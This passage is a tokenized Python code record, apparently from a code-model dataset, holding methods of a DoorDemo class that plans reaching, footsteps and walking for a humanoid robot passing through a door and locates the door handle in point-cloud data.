"End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "self_", "._", "door", "Handle", "Push", "Open", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Foot", "step", "s", "To", "Doo", "r_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "goal", "Frame_", "=_", "self_", "._", "door", "Handle", "Stan", "ce", "Frame_", "._", "transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "foot", "step", "Plann", "er_", "._", "construct", "Foot", "step", "Plan", "Request_", "(_", "start", "Pose", "_", ",_", "goal", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "foot", "step", "Plan_", "=_", "self_", "._", "foot", "step", "Plann", "er_", "._", "send", "Foot", "step", "Plan", "Request_", "(_", "request_", ",_", "wait", "For", "Response_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Foot", "step", "s", "Through", "Doo", "r_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "goal", "Frame_", "=_", "self_", "._", "door", "Walk", "Frame_", "._", "transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "foot", "step", "Plann", "er_", "._", "construct", "Foot", "step", "Plan", "Request_", "(_", "start", "Pose", "_", ",_", "goal", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "._", "params_", "._", "nom", "\\u", "step", "\\u", "width_", "=_", "0.21", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "foot", "step", "Plan_", "=_", "self_", "._", "foot", "step", "Plann", "er_", "._", "send", "Foot", "step", "Plan", "Request_", "(_", "request_", ",_", "wait", "For", "Response_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rt_", "._", "\\u", "add", "Plan", "Item_", "(_", "self_", "._", "foot", "step", "Plan_", ",_", "'", "door", " ", "walk", " ", "frame", " ", "foot", "step", " ", "plan", "'_", ",_", "rt_", "._", "Foot", "step", "Plan", "Item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Foot", "step", "Through", "Doo", "r", "Parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bias_", "=_", "-_", "0.02_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "door", "Foot", "step", "Params_", "=_", "Field", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "lead", "ing", "Foot", "_", "=_", "'", "right", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pre", "Entr", "y", "Foot", "Width_", "=_", "-_", "0.12_", "+_", "bias_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pre", "Entr", "y", "Foot", "Distance_", "=_", "-_", "0.6_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "Foot", "Width_", "=_", "0.07_", "+_", "bias_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "Foot", "Distance_", "=_", "-_", "0.26", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exit", "Foot", "Width_", "=_", "-_", "0.08_", "+_", "bias_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exit", "Foot", "Distance_", "=_", "0.12_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exit", "Step", "Distance_", "=_", "0.3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Stan", "ce", "Width_", "=_", "0.26", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Exi", "t", "Steps_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "center", "Step", "Distance_", "=_", "0.26", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "center", "Stan", "ce", "Width_", "=_", "0.20", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "center", "Lead", "ing", "Foot", "_", "=_", "'", "right", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Test", "ing", "Foot", "step", "Through", "Doo", "r", "Parameters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "door", "Foot", "step", "Params_", "=_", "Field", "Container_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Stan", "ce", "Width_", "=_", "0.26", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "Foot", "Distance_", "=_", "-_", "0.26", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "Foot", "Width_", "=_", "0.12_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exit", "Foot", "Distance_", "=_", "0.12_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exit", "Foot", "Width_", "=_", "-_", "0.12_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "exit", "Step", "Distance_", "=_", "0.3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lead", "ing", "Foot", "_", "=_", "'", "right", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Exi", "t", "Steps_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pre", "Entr", "y", "Foot", "Distance_", "=_", "-_", "0.55", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pre", "Entr", "y", "Foot", "Width_", "=_", "-_", "0.12_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Relative", "Foot", "step", "s", "Through", "Doo", "r", "With", "Swa", "y_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "door", "Foot", "step", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "step", "Frames_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "p_", "._", "pre", "Entr", "y", "Foot", "Distance_", ",_", "p_", "._", "pre", "Entr", "y", "Foot", "Width_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "p_", "._", "entry", "Foot", "Distance_", ",_", "p_", "._", "entry", "Foot", "Width_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "p_", "._", "exit", "Foot", "Distance_", ",_", "p_", "._", "exit", "Foot", "Width_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "p_", "._", "number", "Of", "Exi", "t", "Steps_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sign_", "=_", "-_", "1_", "if_", "(_", "i_", "%_", "2_", ")_", "else_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step", "Frames_", "._", "append_", "(_", "[_", "p_", "._", "exit", "Foot", "Distance_", "+_", "(_", "i_", "+_", "1_", ")_", "*_", "p_", "._", "exit", "Step", "Distance_", ",_", "sign_", "*_", "p_", "._", "end", "Stan", "ce", "Width_", "/_", "2.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "last", "Step_", "=_", "list_", "(_", "step", "Frames_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "Step_", "[_", "1_", "]_", "*=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step", "Frames_", "._", "append_", "(_", "last", "Step_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'-------", "-----", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'", "step", " ", "deltas", ":'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "for", " ", "a", ",", "b", " ", "in", " ", "zip", "(", "step", "Frame", "s", ",", " ", "step", "Frame", "s", "[", "1", ":]", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "b", "[", "0", "]", " ", "-", " ", "a", "[", "0", "],", " ", "b", "[", "1", "]", " ", "-", " ", "a", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Foot", "step", "Request", "Generator_", "._", "make", "Step", "Frames_", "(_", "step", "Frames_", ",_", "relative", "Frame_", "=_", "self_", "._", "door", "Gro", "und", "Frame_", "._", "transform_", ",_", "show", "Frames_", "=_", "False_", ")_", ",_", "p_", "._", "lead", "ing", "Foot", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Relative", "Foot", "step", "s", "Through", "Doo", "r", "Center", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "door", "Foot", "step", "Params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "step", "Distance_", "=_", "p_", "._", "center", "Step", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Width_", "=_", "p_", "._", "center", "Stan", "ce", "Width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lead", "ing", "Foot", "_", "=_", "p_", "._", "center", "Lead", "ing", "Foot", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "step", "Frames_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "30_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sign_", "=_", "-_", "1_", "if_", "lead", "ing", "Foot", "_", "is_", "'", "right", "'_", "else_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "%_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sign_", "=_", "-_", "sign_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "step", "X_", "=_", "(_", "i_", "+_", "1_", ")_", "*_", "step", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "step", "X_", ">_", "1.5_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "step", "X_", "=_", "1.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "step", "Frames_", "._", "append_", "(_", "[_", "step", "X_", ",_", "sign_", "*_", "stance", "Width_", "/_", "2.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "step", "X_", "==_", "1.5_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "last", "Step_", "=_", "list_", "(_", "step", "Frames_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "Step_", "[_", "1_", "]_", "*=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step", "Frames_", "._", "append_", "(_", "last", "Step_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "step", "Frames_", "[_", "-_", "1_", "]_", "[_", "1_", "]_", "=_", "np_", "._", "sign_", "(_", "step", "Frames_", "[_", "-_", "1_", "]_", "[_", "1_", "]_", ")_", "*_", "(_", "p_", "._", "end", "Stan", "ce", "Width_", "/_", "2.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step", "Frames_", "[_", "-_", "2_", "]_", "[_", "1_", "]_", "=_", "np_", "._", "sign_", "(_", "step", "Frames_", "[_", "-_", "2_", "]_", "[_", "1_", "]_", ")_", "*_", "(_", "p_", "._", "end", "Stan", "ce", "Width_", "/_", "2.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Foot", "step", "Request", "Generator_", "._", "make", "Step", "Frames_", "(_", "step", "Frames_", ",_", "relative", "Frame_", "=_", "self_", "._", "door", "Handle", "Stan", "ce", "Frame_", "._", "transform_", ",_", "show", "Frames_", "=_", "False_", ")_", ",_", "lead", "ing", "Foot", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Manu", "al", "Foot", "step", "s", "Test_", "(_", "self_", ",_", "step", "Distance_", "=_", "0.26", "_", ",_", "stance", "Width_", "=_", "0.26", "_", ",_", "number", "Of", "Steps_", "=_", "4_", ",_", "lead", "ing", "Foot", "_", "=_", "'", "right", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "step", "Frames_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "number", "Of", "Steps_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sign_", "=_", "-_", "1_", "if_", "lead", "ing", "Foot", "_", "is_", "'", "right", "'_", "else_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "%_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sign_", "=_", "-_", "sign_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "step", "Frames_", "._", "append_", "(_", "[_", "(_", "i_", "+_", "1_", ")_", "*_", "step", "Distance_", ",_", "sign_", "*_", "stance", "Width_", "/_", "2.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "last", "Step_", "=_", "list_", "(_", "step", "Frames_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "Step_", "[_", "1_", "]_", "*=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step", "Frames_", "._", "append_", "(_", "last", "Step_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Frame_", "=_", "Foot", "step", "Request", "Generator_", "._", "get", "Robot", "Stan", "ce", "Frame_", "(_", "self_", "._", "robot", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "step", "Frames_", "=_", "Foot", "step", "Request", "Generator_", "._", "make", "Step", "Frames_", "(_", "step", "Frames_", ",_", "relative", "Frame_", "=_", "stance", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "helper_", "=_", "Foot", "step", "Request", "Generator_", "(_", "self_", "._", "foot", "step", "Plann", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "helper_", "._", "make", "Foot", "step", "Request_", "(_", "start", "Pose", "_", ",_", "step", "Frames_", ",_", "lead", "ing", "Foot", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "foot", "step", "Plann", "er_", "._", "send", "Foot", "step", "Plan", "Request_", "(_", "request_", ",_", "wait", "For", "Response_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Foot", "step", "s", "Through", "Doo", "r", "Manu", "al_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "step", "Frame", "s", ",", " ", "lead", "ing", "Foot", " ", "=", " ", "self", ".", "get", "Relative", "Foot", "step", "s", "Through", "Doo", "r", "With", "Swa", "y", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "step", "Frames_", ",_", "lead", "ing", "Foot", "_", "=_", "self_", "._", "get", "Relative", "Foot", "step", "s", "Through", "Doo", "r", "Center", "ed_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "helper_", "=_", "Foot", "step", "Request", "Generator_", "(_", "self_", "._", "foot", "step", "Plann", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "helper_", "._", "make", "Foot", "step", "Request_", "(_", "start", "Pose", "_", ",_", "step", "Frames_", ",_", "lead", "ing", "Foot", "_", ",_", "number", "Of", "Fil", "l", "Steps_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "foot", "step", "Plan_", "=_", "self_", "._", "foot", "step", "Plann", "er_", "._", "send", "Foot", "step", "Plan", "Request_", "(_", "request_", ",_", "wait", "For", "Response_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rt_", "._", "\\u", "add", "Plan", "Item_", "(_", "self_", "._", "foot", "step", "Plan_", ",_", "'", "door", " ", "walk", " ", "frame", " ", "foot", "step", " ", "plan", "'_", ",_", "rt_", "._", "Foot", "step", "Plan", "Item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute", "Walk", "ing", "Plan_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "walking", "Plan_", "=_", "self_", "._", "foot", "step", "Plann", "er_", "._", "send", "Walk", "ing", "Plan", "Request_", "(_", "self_", "._", "foot", "step", "Plan_", ",_", "start", "Pose", "_", ",_", "wait", "For", "Response_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "self_", "._", "walking", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "commit", "Mani", "p", "Plan_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "manip", "Plann", "er_", "._", "commit", "Mani", "p", "Plan_", "(_", "self_", "._", "plans", "_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fit", "Doo", "r_", "(_", "self_", ",_", "door", "Gro", "und", "Frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "om_", "._", "remove", "Fro", "m", "Object", "Model_", "(_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "aff", "orda", "nce", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "spawn", "Doo", "r", "Aff", "orda", "nce_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "orda", "nce", "Frame_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", " ", "ground", " ", "frame", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "aff", "orda", "nce", "Frame_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "orda", "nce", "Frame_", "._", "copy", "Frame_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", "'_", ")_", "._", "set", "Property_", "(_", "'", "Vis", "ibl", "e", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "show", "Doo", "r", "Handle", "Points_", "(_", "self_", ",_", "poly", "Data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Handle_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", " ", "handle", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "door", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Width_", "=_", "door", "_", "._", "get", "Property_", "(_", "'", "Dimen", "sion", "s", "'_", ")_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Axes_", "=_", "transform", "Utils_", "._", "get", "Axe", "s", "Fro", "m", "Transform_", "(_", "door", "_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "._", "transform_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Origin_", "=_", "np_", "._", "array_", "(_", "door", "_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "._", "transform_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Axes_", "=_", "transform", "Utils_", "._", "get", "Axe", "s", "Fro", "m", "Transform_", "(_", "door", "Handle_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "._", "transform_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Origin_", "=_", "np_", "._", "array_", "(_", "door", "Handle_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "._", "transform_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", "=_", "segmentation_", "._", "crop", "To", "Line", "Segment_", "(_", "poly", "Data_", ",_", "door", "Origin_", "-_", "door", "Axes_", "[_", "0_", "]_", "*_", "0.02_", ",_", "door", "Origin_", "-_", "door", "Axes_", "[_", "0_", "]_", "*_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "segmentation_", "._", "crop", "To", "Line", "Segment_", "(_", "poly", "Data_", ",_", "door", "Origin_", ",_", "door", "Origin_", "+_", "door", "Axes_", "[_", "1_", "]_", "*_", "(_", "door", "Width_", "*_", "0.5_", "-_", "0.01_", ")_", "*_", "door", "Side_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "segmentation_", "._", "crop", "To", "Line", "Segment_", "(_", "poly", "Data_", ",_", "handle", "Origin_", "-_", "handle", "Axes_", "[_", "2_", "]_", "*_", "0.1_", ",_", "handle", "Origin_", "+_", "handle", "Axes_", "[_", "2_", "]_", "*_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "points", "Name_", "=_", "'", "door", " ", "handle", " ", "points", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "existed", "_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "points", "Name_", ")_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "vis_", "._", "update", "Poly", "Data_", "(_", "poly", "Data_", ",_", "points", "Name_", ",_", "parent_", "=_", "door", "Handle_", ",_", "color_", "=_", "[_", "1_", ",_", "0_", ",_", "0_", 